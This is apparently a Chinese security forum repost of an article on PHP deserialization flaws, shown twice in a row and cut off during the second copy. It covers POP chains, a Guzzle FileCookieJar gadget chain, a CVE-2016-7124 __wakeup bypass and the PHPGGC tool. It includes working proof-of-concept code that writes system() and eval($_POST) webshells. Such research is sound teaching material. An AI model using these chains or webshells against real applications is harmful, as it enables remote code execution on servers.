 于是将源码yy,p了一下,然后注释掉上面原有php语句,具体如下图

WX20180802-141956@2x.png

 
于是再去burpsuite上抓取手机端的包已经经过了实体编码如下图:

WX20180802-142629@2x.png

 
手机端再次浏览lawliet的文章就ok了
 
在此感谢 lawliet,反馈的问题,及乌云很白对于 <pre>的讨论
 

 

PHP反序列化漏洞

kakaxi 发表了文章 • 0 个评论 • 357 次浏览 • 2018-07-23 23:44 • 来自相关话题

0x00 序列化的作用
(反)序列化给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
可以看到,反序列化的危害,关键还是在于可控或不可控。
 
0x01 PHP序列化格式
基础格式booleanb:;
b:1; // True
b:0; // False
integeri:;
i:1; // 1
i:-3; // -3
doubled:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)
NULLN;//NULL
strings::"";
s"INSOMNIA"; // "INSOMNIA"
arraya::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")
序列化举例test.php<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}
我们来生成一下它的序列化字符串:
serialize.php<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);
代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}
注意这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?
翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。 这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:O:4:"test":1:{s:10:"testflag";s:6:"Active";}
反序列化示例unserialize.php<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);

 
0x02 PHP(反)序列化有关的魔法函数
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。 如果是这样,该函数在任何序列化之前执行。 它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。 如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。 sleep()的预期用途是提交挂起的数据或执行类似的清理任务。 此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。 如果存在,该功能可以重构对象可能具有的任何资源。 wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
 
0x03 PHP反序列化与POP链
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。 就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。 在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。
一些对我们来说有用的POP链方法:
命令执行:exec()
passthru()
popen()
system()
文件操作:file_put_contents()
file_get_contents()
unlink()
POP链demopopdemo.php<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}
上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。
poc.php<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php <?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));

表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}
便执行了我们想要执行的效果:

Autoloading与(反)序列化威胁PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。
举个例子:
目录结构为下:

index.php<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();
test1.php<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}
其余的test2和test3和test1的内容类似。
运行一下index.php:

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。
若想了解更多关于自动加载类的资料,请查阅 spl_autoload_register
Composer与Autoloading说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。 Composer是PHP用来管理依赖(dependency)关系的工具。 你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。
 
0x04 反序列化漏洞的挖掘
概述通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
依赖库以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。 而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。
cartalyst/sentry
cartalyst/sentinel
寻找依赖库漏洞的方法,可以说是简单粗暴:
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
手动验证,并构建POP链
利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库:
任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer
拒绝式服务(proc_terminate())
symfony/process
下面来举一个老外已经说过的经典例子,来具体的说一下过程。
例子
寻找可能存在漏洞的应用存在漏洞的应用:cartalyst/sentry
漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php ...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}
应用使用的库中的可利用的POP组件:guzzlehttp/guzzle
寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。 {
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}
寻找可以利用的POP组件我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:if (false === file_put_contents($filename, $jsonStr))
注意到现在$filename可控,也就是文件名可控。 同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。
如何找到$cookie呢? 注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。
手动验证,并构建POP链首先我们先在vm中写一个composer.json文件:{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}
接下来安装Composer:$ curl -sS https://getcomposer.org/installer | php


然后根据composer.json来安装依赖库:$ php composer.phar install



接下来,我们根据上面的分析,来构造payload:
payload.php<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST['poc']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));
我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));
运行后,完成任意文件写操作。 至此,我们可以利用生成的序列化攻击向量来进行测试。
PHP语言本身漏洞提到这一点就不得不说去年的 CVE-2016-7124 ,同时具有代表性的漏洞即为 SugarCRM v6.5.23 PHP反序列化对象注入。 
在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);
代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
根据cve-2016-7124我们可以构造一下我们的poc:<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$a = new Test('shell');
$poc = serialize($a);
print($poc);
运行该脚本,我们就获得了我们poc

通上文所说道的,在这里需要改两个地方:
将1改为大于1的任何整数
将Testpoc改为Testpoc
传入修改后的poc,即可看到:

写文件操作执行成功。
 
0x05 拓展思路
抛砖引玉——魔法函数可能造成的威胁刚刚想到这一点的时候准备好好研究一下,没想到p师傅第二天小密圈就放出来这个话题了。 接下来顺着这个思路,我们向下深挖一下。
__toString()
经过上面的总结,我们不难看出,PHP中反序列化导致的漏洞中,除了利用PHP本身的漏洞以外,我们通常会寻找__destruct、__wakeup、__toString等方法,看看这些方法中是否有可利用的代码。
而由于惯性思维,__toString常常被漏洞挖掘者忽略。 其实,当反序列化后的对象被输出在模板中的时候(转换成字符串的时候),就可以触发相应的漏洞。
__toString触发条件:
echo ($obj) / print($obj) 打印时会触发
字符串连接时
格式化字符串时
与字符串进行==比较时(PHP进行==比较的时候会转换参数类型)
格式化SQL语句,绑定参数时
数组中有字符串时
我们来写一个demo看一下
toString_demo.php<?php
class toString_demo
{
private $test1 = 'test1';
public function __construct($test)
{
$this->test1 = $test;
}
public function __destruct()
{
// TODO: Implement __destruct() method.
print "__destruct:";
print $this->test1;
print "n";
}
public function __wakeup()
{
// TODO: Implement __wakeup() method.
print "__wakeup:";
$this->test1 = "wakeup";
print $this->test1."n";
}
public function __toString()
{
// TODO: Implement __toString() method.
print "__toString:";
$this->test1 = "tosTRING";
return $this->test1."n";
}
}
$a = new toString_demo("demo");
$b = serialize($a);
$c = unserialize($b);
//print "n".$a."n";
//print $b."n";
print $c;
执行结果为下:

通过上面的测试,可以总结以下几点:
echo ($obj) / print($obj) 打印时会触发
__wakeup的优先级>__toString>__destruct
每执行完一个魔法函数,
接下来从两个方面继续来深入:
字符串操作
魔术函数的优先级可能造成的变量覆盖
字符串操作
字符串拼接:
在字符串与反序列化后的对象与字符串进行字符串拼接时,会触发__toString方法。

字符串函数:
经过测试,当反序列化后的最想在经过php字符串函数时,都会执行__toString方法,从这一点我们就可以看出,__toString所可能造成的安全隐患。
下面举几个常见的函数作为例子(所使用的类还是上面给出的toString_demo类):


数组操作
将反序列化后的对象加入到数组中,并不会触发__toString方法:

但是在in_array()方法中,在数组中有__toString返回的字符串的时候__toString会被调用:

class_exists
从in_array()方法中,我们又有了拓展性的想法。 我们都知道,在php底层,类似于in_array()这类函数,都属于先执行,之后返回判断结果。 那么顺着这个想法,我想到了去年的IPS Community Suite &lt;= 4.1.12.3 Autoloaded PHP远程代码执行漏洞, 这个漏洞中有一个非常有意思的触发点,就是通过class_exists造成相关类的调用,从而触发漏洞。 
通过测试,我们发现了,如果将反序列化后的对象带入class_exists()方法中,同样会造成__toString的执行:

猜想——对象处理过程可能出现的威胁通过class_exists可能触发的危险操作,继续向下想一下,是否在对象处理过程中也有可能存在漏洞呢?
还记的去年爆出了一个 PHP GC算法和反序列化机制释放后重用漏洞 ,是垃圾回收机制本身所出现的问题,在释放与重用的过程中存在的问题。 
顺着这个思路,大家可以继续在对象创建、对象执行、对象销毁方面进行深入的研究。
 
0x06 PHPggc
在0x04的第二节中,我们提到了cms在引用某些依赖库时,可能存在(反)序列化漏洞。 那么是否有工具可以生成这些通用型漏洞的测试向量呢?
当然是存在的。 在github上我们找到了PHPggc这个工具,它可以快速的生成主流框架的序列化测试向量。 
关于该测试框架的一点简单的分析
目录结构目录结构为下:|- phpggc
|-- gadgetchains // 相应框架存在漏洞的类以及漏洞利用代码
|-- lib // 框架调度及核心代码
|-- phpggc // 入口
|-- README.md
框架运行流程首先,入口文件为phpggc,直接跟进lib/PHPGGC.php框架核心文件。
在__construct中完成了当前文件完整路径的获取,以及定义自动加载函数,以实现对于下面的类的实例化操作。
关键的操作为:$this->gadgets = $this->get_gadget_chains();


可以跟进代码看一看,其完成了对于所有payload的加载及保存,将所有的payload进行实例化,并保存在一个全局数组中,以方便调用。
可以动态跟进,看一下:public function get_gadget_chains()
{
$this->include_gadget_chains();
$classes = get_declared_classes();
$classes = array_filter($classes, function($class)
{
return is_subclass_of($class, '\PHPGGC\GadgetChain') &&
strpos($class, 'GadgetChain\') === 0;
});
$objects = array_map(function($class)
{
return new $class();
}, $classes);
# Convert backslashes in classes names to forward slashes,
# so that the command line is easier to use
$classes = array_map(function($class)
{
return strtolower(str_replace('\', '/', $class));
}, $classes);
return array_combine($classes, $objects);
}
跟进include_gadget_chains方法中看一下:protected function include_gadget_chains()
{
$base = $this->base . self::DIR_GADGETCHAINS;
$files = glob($base . '/[i]/[/i]/*/chain.php');
array_map(function ($file)
{
include_once $file;
}, $files);
}
在这边首先获取到当前路径,之后从根目录将其下子目录中的所有chain.php遍历一下,将其路劲存储到$files数组中。 接着将数组中的所有chain.php包含一遍,保证之后的调用。
回到get_gadget_chains接着向下看,将返回所有已定义类的名字所组成的数组,将其定义为$classes,接着将是PHPGGCGadgetChain子类的类,全部筛选出来(也就是将所有的payload筛选出来) ,并将其实例化,在其完成格式化后,返回一个由其名与实例化后的类所组成的键值数组。
到此,完成了最基本框架加载与类的实例化准备。
跟着运行流程,看到generate方法:public function generate()
{
global $argv;
$parameters = $this->parse_cmdline($argv);
if(count($parameters) < 1)
{
$this->help();
return;
}
$class = array_shift($parameters);
$gc = $this->get_gadget_chain($class);
$parameters = $this->get_type_parameters($gc, $parameters);
$generated = $this->serialize($gc, $parameters);
print($generated . "n");
}
代码很简单,一步一步跟着看,首先parse_cmdline完成了对于所选模块及附加参数的解析。
接下来array_shift完成的操作就是将我们所选的模块从数组中抛出来。
举个例子,比如我们输入如下:$ ./phpggc monolog/rce1 'phpinfo();'
当前的$class为monolog/rce1,看到接下来进入了get_gadget_chain方法中,带着我们参数跟进去看。public function get_gadget_chain($class)
{
$full = strtolower('GadgetChain/' . $class);
if(!in_array($full, array_keys($this->gadgets)))
{
throw new PHPGGCException('Unknown gadget chain: ' . $class);
}
return $this->gadgets[$full];
}
现在的$full为gadgetchain/monolog/rce1,ok,看一下我们全局存储的具有payload的数组:

可以很清楚的看到,返回了一个已经实例化完成的GadgetChainMonologRCE1的类。 对应的目录则为/gadgetchains/Monolog/RCE/1/chain.php
继续向下,看到将类与参数传入了get_type_parameters,跟进:protected function get_type_parameters($gc, $parameters)
{
$arguments = $gc->parameters;
$values = @array_combine($arguments, $parameters);
if($values === false)
{
$this->o($gc, 2);
$arguments = array_map(function ($a) {
return '<' . $a . '>';
}, $arguments);
$message = 'Invalid arguments for type "' . $gc->type . '" ' . "n" .
$this->_get_command_line($gc->get_name(), ...$arguments);
throw new PHPGGCException($message);
}
return $values;
}
其完成的操作对你想要执行或者写入的代码进行装配,即code标志位与你输入的RCE代码进行键值匹配。 若未填写代码,则返回错误,成功则返回相应的数组以便进行payload的序列化。
看完了这个模块后,再看我们最后的一个模块:将RCE代码进行序列化,完成payload的生成:public function serialize($gc, $parameters)
{
$gc->load_gadgets();
$parameters = $gc->pre_process($parameters);
$payload = $gc->generate($parameters);
$payload = $this->wrap($payload);
$serialized = serialize($payload);
$serialized = $gc->post_process($serialized);
$serialized = $this->apply_filters($serialized);
return $serialized;
}
 
0x07 结语
关于PHP(反)序列化漏洞的触发和利用所涉及的东西还有很多,本文只是做一个概括性的描述,抛砖引玉,如有不精确的地方,望大家给予更正。
 
0x08 参考资料
Practical PHP Object Injection
SugarCRM 6.5.23 – REST PHP Object Injection漏洞分析
CVE-2016-7124
PHPGGC
关于PHP中的自动加载类
Phith0n小密圈的主题
 
原文来自安全客、原文作者:Lucifaer@360攻防实验室
原文链接:https://www.anquanke.com/post/id/86452 查看全部
0x00 序列化的作用
(反)序列化给我们传递对象提供了一种简单的方法。
serialize()将一个对象转换成一个字符串
unserialize()将字符串还原为一个对象
反序列化的数据本质上来说是没有危害的
用户可控数据进行反序列化是存在危害的
可以看到,反序列化的危害,关键还是在于可控或不可控。
 
0x01 PHP序列化格式
  1. 基础格式
boolean
b:;
b:1; // True
b:0; // False

integer
i:;
i:1; // 1
i:-3; // -3

double
d:;
d:1.2345600000000001; // 1.23456(php弱类型所造成的四舍五入现象)

NULL
N;//NULL

string
s::"";
s"INSOMNIA"; // "INSOMNIA"

array
a::{key, value pairs};
a{s"key1";s"value1";s"value2";} // array("key1" => "value1", "key2" => "value2")

  1. 序列化举例
test.php
<?php
class test
{
private $flag = 'Inactive';
public function set_flag($flag)
{
$this->flag = $flag;
}
public function get_flag($flag)
{
return $this->flag;
}
}

我们来生成一下它的序列化字符串:
serialize.php
<?php
require "./test.php";
$object = new test();
$object->set_flag('Active');
$data = serialize($object);
file_put_contents('serialize.txt', $data);

代码不难懂,我们通过生成的序列化字符串,来细致的分析一下序列化的格式:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}
O:<class_name_length>:"<class_name>":<number_of_properties>:{<properties>}

  1. 注意
这里有一个需要注意的地方,testflag明明是长度为8的字符串,为什么在序列化中显示其长度为10?
翻阅php官方文档我们可以找到答案:

对象的私有成员具有加入成员名称的类名称;受保护的成员在成员名前面加上'*'。 这些前缀值在任一侧都有空字节。

所以说,在我们需要传入该序列化字符串时,需要补齐两个空字节:
O:4:"test":1:{s:10:"testflag";s:6:"Active";}

  1. 反序列化示例
unserialize.php
<?php
$filename = file_get_contents($filename);
$object = unserialize($filename);
var_dump($object->get_flag());
var_dump($object);


 
0x02 PHP(反)序列化有关的魔法函数
construct(), destruct()
构造函数与析构函数
call(), callStatic()
方法重载的两个函数
__call()是在对象上下文中调用不可访问的方法时触发
__callStatic()是在静态上下文中调用不可访问的方法时触发。
get(), set()
__get()用于从不可访问的属性读取数据。
__set()用于将数据写入不可访问的属性。
isset(), unset()
__isset()在不可访问的属性上调用isset()或empty()触发。
__unset()在不可访问的属性上使用unset()时触发。
sleep(), wakeup()
serialize()检查您的类是否具有魔术名sleep()的函数。 如果是这样,该函数在任何序列化之前执行。 它可以清理对象,并且应该返回一个数组,其中应该被序列化的对象的所有变量的名称。 如果该方法不返回任何内容,则将NULL序列化并发出E_NOTICE。 sleep()的预期用途是提交挂起的数据或执行类似的清理任务。 此外,如果您有非常大的对象,不需要完全保存,该功能将非常有用。
unserialize()使用魔术名wakeup()检查函数的存在。 如果存在,该功能可以重构对象可能具有的任何资源。 wakeup()的预期用途是重新建立在序列化期间可能已丢失的任何数据库连接,并执行其他重新初始化任务。
__toString()
__toString()方法允许一个类决定如何处理像一个字符串时它将如何反应。
__invoke()
当脚本尝试将对象调用为函数时,调用__invoke()方法。
__set_state()
__clone()
__debugInfo()
 
0x03 PHP反序列化与POP链
就如前文所说,当反序列化参数可控时,可能会产生严重的安全威胁。
面向对象编程从一定程度上来说,就是完成类与类之间的调用。 就像ROP一样,POP链起于一些小的“组件”,这些小“组件”可以调用其他的“组件”。 在PHP中,“组件”就是这些魔术方法(__wakeup()或__destruct)。
一些对我们来说有用的POP链方法:
命令执行:
exec()
passthru()
popen()
system()

文件操作:
file_put_contents()
file_get_contents()
unlink()

  1. POP链demo
popdemo.php
<?php
class popdemo
{
private $data = "demon";
private $filename = './demo';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->save($this->filename);
}
public function save($filename)
{
file_put_contents($filename, $this->data);
}
}

上面的代码即完成了一个简单的POP链,若传入一个构造好的序列化字符串,则会完成写文件操作。
poc.php
<?php
require "./popdemo.php";
$demo = new popdemo();
file_put_contents('./pop_serialized.txt', serialize($demo));
pop_unserialize.php
 
<?php
require "./popdemo.php";
unserialize(file_get_contents('./pop_serialized.txt'));


表面看上去,我们完美的执行了代码的功能,那么我们改一下序列化代码,看一看效果:

改为:
O:7:"popdemo":2:{s:13:"popdemodata";s:5:"hack
";s:17:"popdemofilename";s:6:"./hack";}

便执行了我们想要执行的效果:

  1. Autoloading与(反)序列化威胁
PHP只能unserialize()那些定义了的类
传统的PHP要求应用程序导入每个类中的所有类文件,这样就意味着每个PHP文件需要一列长长的include或require方法,而在当前主流的PHP框架中,都采用了Autoloading自动加载类来完成这样繁重的工作。
在完善简化了类之间调用的功能的同时,也为序列化漏洞造成了便捷。
举个例子:
目录结构为下:

index.php
<?php
class autoload
{
public static function load1($className)
{
if (is_file($className.'.php'))
{
require $className.'.php';
}
}
public static function load2($className)
{
if (is_file('./app/'.$className.'.php'))
{
require './app/'.$className.'.php';
}
}
public static function load3($className)
{
if (is_file('./lib/'.$className.'.php'))
{
require './lib/'.$className.'.php';
}
}
}
spl_autoload_register('autoload::load1()');
spl_autoload_register('autoload::load2()');
spl_autoload_register('autoload::load3()');
$test1 = new test1();
$test2 = new test2();
$test3 = new test3();

test1.php
<?php
class test1
{
private $test1_data = 'test1_data';
private $test1_filename = './test1_demo.txt';
public function __construct()
{
$this->save($this->test1_filename);
}
public function save($test1_filename)
{
file_put_contents($test1_filename, $this->test1_data);
}
}

其余的test2和test3和test1的内容类似。
运行一下index.php:

可以看到已经自动加载类会自动寻找已经注册在其队列中的类,并在其被实例化的时候,执行相关的操作。
若想了解更多关于自动加载类的资料,请查阅 spl_autoload_register
  1. Composer与Autoloading
说到了Autoloader自动加载类,就不得不说一下Composer这个东西了。 Composer是PHP用来管理依赖(dependency)关系的工具。 你可以在自己的项目中声明所依赖的外部工具库(libraries),Composer 会帮你安装这些依赖的库文件。
经常搭建框架环境的同学应该对这个非常熟悉了,无论是搭建一个新的Laravel还是一个新的Symfony,安装步骤中总有一步是通过Composer来进行安装。
比如在安装Laravel的时候,执行composer global require "laravel/installer"就可以搭建成以下目录结构的环境:

其中已经将环境所需的依赖库文件配置完毕,正是因为Composer与Autuoloading的有效结合,才构成了完整的POP数据流。
 
0x04 反序列化漏洞的挖掘
  1. 概述
通过上面对Composer的介绍,我们可以看出,Composer所拉取的依赖库文件是一个框架的基础。
而Composer默认是从Packagist来下载依赖库的。
所以我们挖掘漏洞的思路就可以从依赖库文件入手。
目前总结出来两种大的趋势,还有一种猜想:
1.从可能存在漏洞的依赖库文件入手
2.从应用的代码框架的逻辑上入手
3.从PHP语言本身漏洞入手
接下来逐个的介绍一下。
  1. 依赖库
以下这些依赖库,准确来说并不能说是依赖库的问题,只能说这些依赖库存在我们想要的文件读写或者代码执行的功能。 而引用这些依赖库的应用在引用时并没有完善的过滤,从而产生漏洞。
cartalyst/sentry
cartalyst/sentinel
寻找依赖库漏洞的方法,可以说是简单粗暴:
首先在依赖库中使用RIPS或grep全局搜索__wakeup()和__destruct()
从最流行的库开始,跟进每个类,查看是否存在我们可以利用的组件(可被漏洞利用的操作)
手动验证,并构建POP链
利用易受攻击的方式部署应用程序和POP组件,通过自动加载类来生成poc及测试漏洞。
以下为一些存在可利用组件的依赖库:
任意写
monolog/monolog(<1.11.0)
guzzlehttp/guzzle
guzzle/guzzle
任意删除
swiftmailer/swiftmailer
拒绝式服务(proc_terminate())
symfony/process
下面来举一个老外已经说过的经典例子,来具体的说一下过程。
例子
  1. 寻找可能存在漏洞的应用
存在漏洞的应用:cartalyst/sentry
漏洞存在于:/src/Cartalyst/Sentry/Cookies/NativeCookie.php
   ...
public function getCookie()
{
...
return unserialize($_COOKIE[$this->getKey()]);
...
}
}

应用使用的库中的可利用的POP组件:guzzlehttp/guzzle
寻找POP组件的最好方式,就是直接看composer.json文件,该文件中写明了应用需要使用的库。
 {
"require": {
"cartalyst/sentry": "2.1.5",
"illuminate/database": "4.0.*",
"guzzlehttp/guzzle": "6.0.2",
"swiftmailer/swiftmailer": "5.4.1"
}
}

  1. 寻找可以利用的POP组件
我们下载guzzlehttp/guzzle这个依赖库,并使用grep来搜索一下__destruct()和__wakeup()

逐个看一下,在/guzzle/src/Cookie/FileCookieJar.php发现可利用的POP组件:

跟进看一下save方法:

存在一下代码,造成任意文件写操作:
if (false === file_put_contents($filename, $jsonStr))

注意到现在$filename可控,也就是文件名可控。 同时看到$jsonStr为上层循环来得到的数组经过json编码后得到的,且数组内容为$cookie->toArray(),也就是说如果我们可控$cookie->toArray()的值,我们就能控制文件内容。
如何找到$cookie呢? 注意到前面

跟进父类,看到父类implements了CookieJarInterface

还有其中的toArray方法

很明显调用了其中的SetCookie的接口:

看一下目录结构:

所以定位到SetCookie.php:

可以看到,这里只是简单的返回了data数组的特定键值。
  1. 手动验证,并构建POP链
首先我们先在vm中写一个composer.json文件:
{
"require": {
"guzzlehttp/guzzle": "6.0.2"
}
}

接下来安装Composer:
$ curl -sS https://getcomposer.org/installer | php


然后根据composer.json来安装依赖库:
$ php composer.phar install



接下来,我们根据上面的分析,来构造payload:
payload.php
<?php
require __DIR__.'/vendor/autoload.php';
use GuzzleHttpCookieFileCookieJar;
use GuzzleHttpCookieSetCookie;
$obj = new FileCookieJar('./shell.php');
$payload = '<?php echo system($_POST['poc']);?>';
$obj->setCookie(new SetCookie([
'Name' => 'lucifaer',
'Value' => 'test_poc',
'Domain' => $paylaod,
'Expires' => time()
]));
file_put_contents('./build_poc', serialize($obj));

我们执行完该脚本,看一下生成的脚本的内容:

我们再写一个反序列化的demo脚本:
<?php
require __DIR__.'/vendor/autoload.php';
unserialize(file_get_contents("./build_poc"));

运行后,完成任意文件写操作。 至此,我们可以利用生成的序列化攻击向量来进行测试。
  1. PHP语言本身漏洞
提到这一点就不得不说去年的 CVE-2016-7124 ,同时具有代表性的漏洞即为 SugarCRM v6.5.23 PHP反序列化对象注入。 
在这里我们就不多赘述SugarCRM的这个漏洞,我们来聊一聊CVE-2016-7124这个漏洞。
触发该漏洞的PHP版本为PHP5小于5.6.25或PHP7小于7.0.10。
漏洞可以简要的概括为:当序列化字符串中表示对象个数的值大于真实的属性个数时会跳过__wakeup()的执行。
我们用一个demo来解释一下。
例子
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
$poc = $_GET['poc'];
if(!isset($poc))
{
show_source(__FILE__);
die();
}
$a = unserialize($poc);

代码很简单,但是关键就是需要再反序列化的时候绕过__wakeup以达到写文件的操作。
根据cve-2016-7124我们可以构造一下我们的poc:
<?php
class Test
{
private $poc = '';
public function __construct($poc)
{
$this->poc = $poc;
}
function __destruct()
{
if ($this->poc != '')
{
file_put_contents('shell.php', '<?php eval($_POST['shell']);?>');
die('Success!!!');
}
else
{
die('fail to getshell!!!');
}
}
function __wakeup()
{
foreach(get_object_vars($this) as $k => $v)
{
$this->$k = null;
}
echo "waking up...n";
}
}
